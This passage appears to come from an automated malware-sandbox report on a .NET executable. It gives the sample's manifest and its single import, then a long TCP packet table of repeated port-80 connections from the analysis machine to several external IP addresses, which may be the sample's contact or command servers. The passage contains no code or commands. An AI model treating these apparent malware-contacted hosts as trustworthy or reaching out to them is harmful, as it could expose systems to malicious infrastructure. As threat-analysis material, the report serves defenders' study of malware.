                                                        RT_MANIFEST0xf03980x1eaXML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators0.5489795918367347

                                                        Imports

                                                        DLLImport
                                                        mscoree.dll_CorExeMain

                                                        Network Behavior

                                                        Network Port Distribution

                                                        TCP Packets

                                                        TimestampSource PortDest PortSource IPDest IP
                                                        May 27, 2024 12:26:48.148144960 CEST4971280192.168.2.7185.31.240.240
                                                        May 27, 2024 12:26:48.153203964 CEST8049712185.31.240.240192.168.2.7
                                                        May 27, 2024 12:26:48.153325081 CEST4971280192.168.2.7185.31.240.240
                                                        May 27, 2024 12:26:48.188481092 CEST4971280192.168.2.7185.31.240.240
                                                        May 27, 2024 12:26:48.194010019 CEST8049712185.31.240.240192.168.2.7
                                                        May 27, 2024 12:26:48.797646999 CEST8049712185.31.240.240192.168.2.7
                                                        May 27, 2024 12:26:48.797667980 CEST8049712185.31.240.240192.168.2.7
                                                        May 27, 2024 12:26:48.797827005 CEST4971280192.168.2.7185.31.240.240
                                                        May 27, 2024 12:26:48.798664093 CEST8049712185.31.240.240192.168.2.7
                                                        May 27, 2024 12:26:48.798676968 CEST8049712185.31.240.240192.168.2.7
                                                        May 27, 2024 12:26:48.798687935 CEST8049712185.31.240.240192.168.2.7
                                                        May 27, 2024 12:26:48.798724890 CEST8049712185.31.240.240192.168.2.7
                                                        May 27, 2024 12:26:48.798736095 CEST8049712185.31.240.240192.168.2.7
                                                        May 27, 2024 12:26:48.798748016 CEST8049712185.31.240.240192.168.2.7
                                                        May 27, 2024 12:26:48.798752069 CEST4971280192.168.2.7185.31.240.240
                                                        May 27, 2024 12:26:48.798753977 CEST8049712185.31.240.240192.168.2.7
                                                        May 27, 2024 12:26:48.798789024 CEST4971280192.168.2.7185.31.240.240
                                                        May 27, 2024 12:26:48.798789024 CEST4971280192.168.2.7185.31.240.240
                                                        May 27, 2024 12:26:48.798823118 CEST4971280192.168.2.7185.31.240.240
                                                        May 27, 2024 12:26:49.690675974 CEST4971280192.168.2.7185.31.240.240
                                                        May 27, 2024 12:26:49.697597980 CEST8049712185.31.240.240192.168.2.7
                                                        May 27, 2024 12:27:05.643548965 CEST4971380192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:05.648632050 CEST804971334.149.87.45192.168.2.7
                                                        May 27, 2024 12:27:05.648710966 CEST4971380192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:05.650755882 CEST4971380192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:05.655667067 CEST804971334.149.87.45192.168.2.7
                                                        May 27, 2024 12:27:06.121387005 CEST804971334.149.87.45192.168.2.7
                                                        May 27, 2024 12:27:06.121428967 CEST804971334.149.87.45192.168.2.7
                                                        May 27, 2024 12:27:06.121573925 CEST4971380192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:07.438256979 CEST4971380192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:08.454368114 CEST5927080192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:08.600394011 CEST805927034.149.87.45192.168.2.7
                                                        May 27, 2024 12:27:08.600491047 CEST5927080192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:08.602317095 CEST5927080192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:08.607291937 CEST805927034.149.87.45192.168.2.7
                                                        May 27, 2024 12:27:09.078011990 CEST805927034.149.87.45192.168.2.7
                                                        May 27, 2024 12:27:09.078214884 CEST805927034.149.87.45192.168.2.7
                                                        May 27, 2024 12:27:09.078269005 CEST5927080192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:10.107634068 CEST5927080192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:11.126128912 CEST5927280192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:11.131335020 CEST805927234.149.87.45192.168.2.7
                                                        May 27, 2024 12:27:11.131443977 CEST5927280192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:11.133339882 CEST5927280192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:11.138248920 CEST805927234.149.87.45192.168.2.7
                                                        May 27, 2024 12:27:11.138329029 CEST805927234.149.87.45192.168.2.7
                                                        May 27, 2024 12:27:11.643389940 CEST805927234.149.87.45192.168.2.7
                                                        May 27, 2024 12:27:11.643944979 CEST805927234.149.87.45192.168.2.7
                                                        May 27, 2024 12:27:11.644179106 CEST5927280192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:12.639107943 CEST5927280192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:13.657660007 CEST5927380192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:13.662648916 CEST805927334.149.87.45192.168.2.7
                                                        May 27, 2024 12:27:13.662739992 CEST5927380192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:13.664658070 CEST5927380192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:13.669486046 CEST805927334.149.87.45192.168.2.7
                                                        May 27, 2024 12:27:14.152158022 CEST805927334.149.87.45192.168.2.7
                                                        May 27, 2024 12:27:14.152257919 CEST805927334.149.87.45192.168.2.7
                                                        May 27, 2024 12:27:14.152419090 CEST5927380192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:14.155421019 CEST5927380192.168.2.734.149.87.45
                                                        May 27, 2024 12:27:14.160276890 CEST805927334.149.87.45192.168.2.7
                                                        May 27, 2024 12:27:19.549228907 CEST5927480192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:19.554274082 CEST8059274107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:19.554380894 CEST5927480192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:19.556179047 CEST5927480192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:19.561044931 CEST8059274107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:20.450048923 CEST8059274107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:20.450299978 CEST8059274107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:20.450396061 CEST5927480192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:21.061227083 CEST5927480192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:22.079811096 CEST5927580192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:22.086011887 CEST8059275107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:22.086146116 CEST5927580192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:22.087589979 CEST5927580192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:22.092590094 CEST8059275107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:23.420844078 CEST8059275107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:23.420871973 CEST8059275107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:23.420882940 CEST8059275107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:23.420906067 CEST8059275107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:23.420983076 CEST5927580192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:23.421020031 CEST5927580192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:23.421020031 CEST5927580192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:25.526278019 CEST5927580192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:26.536303997 CEST5927680192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:26.541626930 CEST8059276107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:26.541732073 CEST5927680192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:26.543740988 CEST5927680192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:26.548846960 CEST8059276107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:26.548974037 CEST8059276107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:27.454490900 CEST8059276107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:27.454526901 CEST8059276107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:27.454575062 CEST5927680192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:28.045257092 CEST5927680192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:29.069298029 CEST5927780192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:29.074417114 CEST8059277107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:29.074656010 CEST5927780192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:29.081078053 CEST5927780192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:29.086256981 CEST8059277107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:30.003648996 CEST8059277107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:30.003705978 CEST8059277107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:30.003801107 CEST8059277107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:30.003993034 CEST5927780192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:30.004081011 CEST5927780192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:30.010061979 CEST5927780192.168.2.7107.151.241.58
                                                        May 27, 2024 12:27:30.014961004 CEST8059277107.151.241.58192.168.2.7
                                                        May 27, 2024 12:27:35.059056997 CEST5927880192.168.2.73.33.130.190
                                                        May 27, 2024 12:27:35.064002991 CEST80592783.33.130.190192.168.2.7
                                                        May 27, 2024 12:27:35.064188004 CEST5927880192.168.2.73.33.130.190
                                                        May 27, 2024 12:27:35.065982103 CEST5927880192.168.2.73.33.130.190
                                                        May 27, 2024 12:27:35.070923090 CEST80592783.33.130.190192.168.2.7
                                                        May 27, 2024 12:27:35.552624941 CEST80592783.33.130.190192.168.2.7
                                                        May 27, 2024 12:27:35.552792072 CEST5927880192.168.2.73.33.130.190
                                                        May 27, 2024 12:27:36.576541901 CEST5927880192.168.2.73.33.130.190
                                                        May 27, 2024 12:27:36.581808090 CEST80592783.33.130.190192.168.2.7
                                                        May 27, 2024 12:27:37.612024069 CEST5927980192.168.2.73.33.130.190
                                                        May 27, 2024 12:27:37.617238998 CEST80592793.33.130.190192.168.2.7
                                                        May 27, 2024 12:27:37.617360115 CEST5927980192.168.2.73.33.130.190
                                                        May 27, 2024 12:27:37.678459883 CEST5927980192.168.2.73.33.130.190
                                                        May 27, 2024 12:27:37.683541059 CEST80592793.33.130.190192.168.2.7
                                                        May 27, 2024 12:27:38.088098049 CEST80592793.33.130.190192.168.2.7
                                                        May 27, 2024 12:27:38.088247061 CEST5927980192.168.2.73.33.130.190
                                                        May 27, 2024 12:27:39.201483011 CEST5927980192.168.2.73.33.130.190
                                                        May 27, 2024 12:27:39.206535101 CEST80592793.33.130.190192.168.2.7
                                                        May 27, 2024 12:27:40.219795942 CEST5928080192.168.2.73.33.130.190
                                                        May 27, 2024 12:27:40.225003958 CEST80592803.33.130.190192.168.2.7
                                                        May 27, 2024 12:27:40.225228071 CEST5928080192.168.2.73.33.130.190
                                                        May 27, 2024 12:27:40.226896048 CEST5928080192.168.2.73.33.130.190
                                                        May 27, 2024 12:27:40.231827021 CEST80592803.33.130.190192.168.2.7
                                                        May 27, 2024 12:27:40.231976986 CEST80592803.33.130.190192.168.2.7
                                                        May 27, 2024 12:27:40.689924955 CEST80592803.33.130.190192.168.2.7
                                                        May 27, 2024 12:27:40.689992905 CEST5928080192.168.2.73.33.130.190
                                                        May 27, 2024 12:27:41.733498096 CEST5928080192.168.2.73.33.130.190
                                                        May 27, 2024 12:27:41.738518953 CEST80592803.33.130.190192.168.2.7
                                                        May 27, 2024 12:27:43.676860094 CEST5928180192.168.2.73.33.130.190
                                                        May 27, 2024 12:27:43.682322979 CEST80592813.33.130.190192.168.2.7
                                                        May 27, 2024 12:27:43.682477951 CEST5928180192.168.2.73.33.130.190
                                                        May 27, 2024 12:27:43.691859961 CEST5928180192.168.2.73.33.130.190
                                                        May 27, 2024 12:27:43.696877956 CEST80592813.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:15.675017118 CEST80592813.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:15.675123930 CEST80592813.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:15.675182104 CEST5928180192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:15.678661108 CEST5928180192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:15.683523893 CEST80592813.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:20.712754011 CEST5928280192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:20.717860937 CEST80592823.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:20.718498945 CEST5928280192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:20.720109940 CEST5928280192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:20.725153923 CEST80592823.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:21.193358898 CEST80592823.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:21.193476915 CEST5928280192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:22.232600927 CEST5928280192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:22.237674952 CEST80592823.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:23.254548073 CEST5928380192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:23.259612083 CEST80592833.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:23.262550116 CEST5928380192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:23.266431093 CEST5928380192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:23.272291899 CEST80592833.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:23.763417006 CEST80592833.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:23.763473988 CEST5928380192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:24.779818058 CEST5928380192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:24.784977913 CEST80592833.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:25.797910929 CEST5928480192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:25.802927971 CEST80592843.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:25.803004980 CEST5928480192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:25.805011988 CEST5928480192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:25.809899092 CEST80592843.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:25.810066938 CEST80592843.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:26.260355949 CEST80592843.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:26.260427952 CEST5928480192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:27.310964108 CEST5928480192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:27.315978050 CEST80592843.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:28.329204082 CEST5928580192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:28.334294081 CEST80592853.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:28.334384918 CEST5928580192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:28.336215973 CEST5928580192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:28.341069937 CEST80592853.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:28.792587996 CEST80592853.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:28.792622089 CEST80592853.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:28.792838097 CEST5928580192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:28.796494961 CEST5928580192.168.2.73.33.130.190
                                                        May 27, 2024 12:28:28.801429033 CEST80592853.33.130.190192.168.2.7
                                                        May 27, 2024 12:28:33.835585117 CEST5928680192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:33.840562105 CEST8059286104.21.81.34192.168.2.7
                                                        May 27, 2024 12:28:33.840652943 CEST5928680192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:33.842618942 CEST5928680192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:33.847594023 CEST8059286104.21.81.34192.168.2.7
                                                        May 27, 2024 12:28:34.804016113 CEST8059286104.21.81.34192.168.2.7
                                                        May 27, 2024 12:28:34.804691076 CEST8059286104.21.81.34192.168.2.7
                                                        May 27, 2024 12:28:34.804795980 CEST5928680192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:35.370845079 CEST5928680192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:36.714004993 CEST5928780192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:36.718955994 CEST8059287104.21.81.34192.168.2.7
                                                        May 27, 2024 12:28:36.719027042 CEST5928780192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:36.722254038 CEST5928780192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:36.727066994 CEST8059287104.21.81.34192.168.2.7
                                                        May 27, 2024 12:28:37.696006060 CEST8059287104.21.81.34192.168.2.7
                                                        May 27, 2024 12:28:37.697040081 CEST8059287104.21.81.34192.168.2.7
                                                        May 27, 2024 12:28:37.697133064 CEST5928780192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:38.233382940 CEST5928780192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:39.250987053 CEST5928880192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:39.256086111 CEST8059288104.21.81.34192.168.2.7
                                                        May 27, 2024 12:28:39.256172895 CEST5928880192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:39.257930994 CEST5928880192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:39.262902975 CEST8059288104.21.81.34192.168.2.7
                                                        May 27, 2024 12:28:39.263081074 CEST8059288104.21.81.34192.168.2.7
                                                        May 27, 2024 12:28:40.217943907 CEST8059288104.21.81.34192.168.2.7
                                                        May 27, 2024 12:28:40.219172001 CEST8059288104.21.81.34192.168.2.7
                                                        May 27, 2024 12:28:40.219288111 CEST5928880192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:40.763854027 CEST5928880192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:41.782493114 CEST5928980192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:41.787652016 CEST8059289104.21.81.34192.168.2.7
                                                        May 27, 2024 12:28:41.787987947 CEST5928980192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:41.790386915 CEST5928980192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:41.795454979 CEST8059289104.21.81.34192.168.2.7
                                                        May 27, 2024 12:28:42.754818916 CEST8059289104.21.81.34192.168.2.7
                                                        May 27, 2024 12:28:42.755047083 CEST8059289104.21.81.34192.168.2.7
                                                        May 27, 2024 12:28:42.755109072 CEST5928980192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:42.757378101 CEST5928980192.168.2.7104.21.81.34
                                                        May 27, 2024 12:28:42.762303114 CEST8059289104.21.81.34192.168.2.7
                                                        May 27, 2024 12:28:47.808989048 CEST5929080192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:47.814251900 CEST8059290212.227.172.254192.168.2.7
                                                        May 27, 2024 12:28:47.816456079 CEST5929080192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:47.816790104 CEST5929080192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:47.821723938 CEST8059290212.227.172.254192.168.2.7
                                                        May 27, 2024 12:28:49.032264948 CEST8059290212.227.172.254192.168.2.7
                                                        May 27, 2024 12:28:49.032295942 CEST8059290212.227.172.254192.168.2.7
                                                        May 27, 2024 12:28:49.032305002 CEST8059290212.227.172.254192.168.2.7
                                                        May 27, 2024 12:28:49.032315016 CEST8059290212.227.172.254192.168.2.7
                                                        May 27, 2024 12:28:49.032373905 CEST5929080192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:49.032373905 CEST5929080192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:49.346570969 CEST5929080192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:50.369227886 CEST5929180192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:50.374248981 CEST8059291212.227.172.254192.168.2.7
                                                        May 27, 2024 12:28:50.374420881 CEST5929180192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:50.376296997 CEST5929180192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:50.381140947 CEST8059291212.227.172.254192.168.2.7
                                                        May 27, 2024 12:28:51.010438919 CEST8059291212.227.172.254192.168.2.7
                                                        May 27, 2024 12:28:51.010541916 CEST8059291212.227.172.254192.168.2.7
                                                        May 27, 2024 12:28:51.010636091 CEST5929180192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:51.891937017 CEST5929180192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:54.424307108 CEST5929280192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:54.429358959 CEST8059292212.227.172.254192.168.2.7
                                                        May 27, 2024 12:28:54.429446936 CEST5929280192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:54.432080030 CEST5929280192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:54.437053919 CEST8059292212.227.172.254192.168.2.7
                                                        May 27, 2024 12:28:54.438086033 CEST8059292212.227.172.254192.168.2.7
                                                        May 27, 2024 12:28:55.067404032 CEST8059292212.227.172.254192.168.2.7
                                                        May 27, 2024 12:28:55.067461967 CEST8059292212.227.172.254192.168.2.7
                                                        May 27, 2024 12:28:55.067647934 CEST5929280192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:55.935950041 CEST5929280192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:56.954225063 CEST5929380192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:56.959464073 CEST8059293212.227.172.254192.168.2.7
                                                        May 27, 2024 12:28:56.959665060 CEST5929380192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:56.961211920 CEST5929380192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:56.966124058 CEST8059293212.227.172.254192.168.2.7
                                                        May 27, 2024 12:28:57.597315073 CEST8059293212.227.172.254192.168.2.7
                                                        May 27, 2024 12:28:57.598175049 CEST8059293212.227.172.254192.168.2.7
                                                        May 27, 2024 12:28:57.598341942 CEST5929380192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:57.602336884 CEST5929380192.168.2.7212.227.172.254
                                                        May 27, 2024 12:28:57.607234001 CEST8059293212.227.172.254192.168.2.7
                                                        May 27, 2024 12:29:02.864366055 CEST5929480192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:02.869497061 CEST8059294194.58.112.174192.168.2.7
                                                        May 27, 2024 12:29:02.869560003 CEST5929480192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:02.872034073 CEST5929480192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:02.877017021 CEST8059294194.58.112.174192.168.2.7
                                                        May 27, 2024 12:29:03.587626934 CEST8059294194.58.112.174192.168.2.7
                                                        May 27, 2024 12:29:03.587696075 CEST8059294194.58.112.174192.168.2.7
                                                        May 27, 2024 12:29:03.590462923 CEST5929480192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:04.388864994 CEST5929480192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:05.416363001 CEST5929580192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:05.421396971 CEST8059295194.58.112.174192.168.2.7
                                                        May 27, 2024 12:29:05.421472073 CEST5929580192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:05.429858923 CEST5929580192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:05.434736013 CEST8059295194.58.112.174192.168.2.7
                                                        May 27, 2024 12:29:06.148305893 CEST8059295194.58.112.174192.168.2.7
                                                        May 27, 2024 12:29:06.148380995 CEST8059295194.58.112.174192.168.2.7
                                                        May 27, 2024 12:29:06.148499012 CEST5929580192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:06.935790062 CEST5929580192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:08.009601116 CEST5929680192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:08.014673948 CEST8059296194.58.112.174192.168.2.7
                                                        May 27, 2024 12:29:08.017447948 CEST5929680192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:08.019505024 CEST5929680192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:08.024427891 CEST8059296194.58.112.174192.168.2.7
                                                        May 27, 2024 12:29:08.024494886 CEST8059296194.58.112.174192.168.2.7
                                                        May 27, 2024 12:29:08.760539055 CEST8059296194.58.112.174192.168.2.7
                                                        May 27, 2024 12:29:08.761158943 CEST8059296194.58.112.174192.168.2.7
                                                        May 27, 2024 12:29:08.761229038 CEST5929680192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:09.529490948 CEST5929680192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:10.549170017 CEST5929780192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:10.554183006 CEST8059297194.58.112.174192.168.2.7
                                                        May 27, 2024 12:29:10.554346085 CEST5929780192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:10.556942940 CEST5929780192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:10.561984062 CEST8059297194.58.112.174192.168.2.7
                                                        May 27, 2024 12:29:11.245402098 CEST8059297194.58.112.174192.168.2.7
                                                        May 27, 2024 12:29:11.245496035 CEST8059297194.58.112.174192.168.2.7
                                                        May 27, 2024 12:29:11.245595932 CEST5929780192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:11.248517990 CEST5929780192.168.2.7194.58.112.174
                                                        May 27, 2024 12:29:11.253433943 CEST8059297194.58.112.174192.168.2.7
                                                        May 27, 2024 12:29:16.634929895 CEST5929880192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:16.639997959 CEST8059298198.177.123.106192.168.2.7
                                                        May 27, 2024 12:29:16.640078068 CEST5929880192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:16.677421093 CEST5929880192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:16.682833910 CEST8059298198.177.123.106192.168.2.7
                                                        May 27, 2024 12:29:17.255563021 CEST8059298198.177.123.106192.168.2.7
                                                        May 27, 2024 12:29:17.255991936 CEST8059298198.177.123.106192.168.2.7
                                                        May 27, 2024 12:29:17.256057024 CEST5929880192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:18.186328888 CEST5929880192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:19.216279984 CEST5929980192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:19.453505993 CEST8059299198.177.123.106192.168.2.7
                                                        May 27, 2024 12:29:19.453605890 CEST5929980192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:19.455982924 CEST5929980192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:19.461059093 CEST8059299198.177.123.106192.168.2.7
                                                        May 27, 2024 12:29:20.074387074 CEST8059299198.177.123.106192.168.2.7
                                                        May 27, 2024 12:29:20.075045109 CEST8059299198.177.123.106192.168.2.7
                                                        May 27, 2024 12:29:20.078459978 CEST5929980192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:20.967024088 CEST5929980192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:21.985253096 CEST5930080192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:21.990288019 CEST8059300198.177.123.106192.168.2.7
                                                        May 27, 2024 12:29:21.994901896 CEST5930080192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:21.998321056 CEST5930080192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:22.003242016 CEST8059300198.177.123.106192.168.2.7
                                                        May 27, 2024 12:29:22.003333092 CEST8059300198.177.123.106192.168.2.7
                                                        May 27, 2024 12:29:22.592255116 CEST8059300198.177.123.106192.168.2.7
                                                        May 27, 2024 12:29:22.592346907 CEST8059300198.177.123.106192.168.2.7
                                                        May 27, 2024 12:29:22.592492104 CEST5930080192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:23.498428106 CEST5930080192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:24.518302917 CEST5930180192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:24.523339987 CEST8059301198.177.123.106192.168.2.7
                                                        May 27, 2024 12:29:24.523442984 CEST5930180192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:24.525274992 CEST5930180192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:24.530163050 CEST8059301198.177.123.106192.168.2.7
                                                        May 27, 2024 12:29:25.124799967 CEST8059301198.177.123.106192.168.2.7
                                                        May 27, 2024 12:29:25.124826908 CEST8059301198.177.123.106192.168.2.7
                                                        May 27, 2024 12:29:25.124962091 CEST5930180192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:25.250524998 CEST5930180192.168.2.7198.177.123.106
                                                        May 27, 2024 12:29:25.255717039 CEST8059301198.177.123.106192.168.2.7
                                                        May 27, 2024 12:29:32.910275936 CEST5930280192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:32.915364981 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:32.915462971 CEST5930280192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:32.917347908 CEST5930280192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:32.922363043 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:33.997133017 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:33.997184992 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:33.997247934 CEST5930280192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:33.997531891 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:33.997561932 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:33.997627020 CEST5930280192.168.2.7103.28.36.189
                                                        May 27, 2024 12:29:34.002194881 CEST8059302103.28.36.189192.168.2.7
                                                        May 27, 2024 12:29:34.002230883 CEST8059302103.28.36.189192.168.2.7
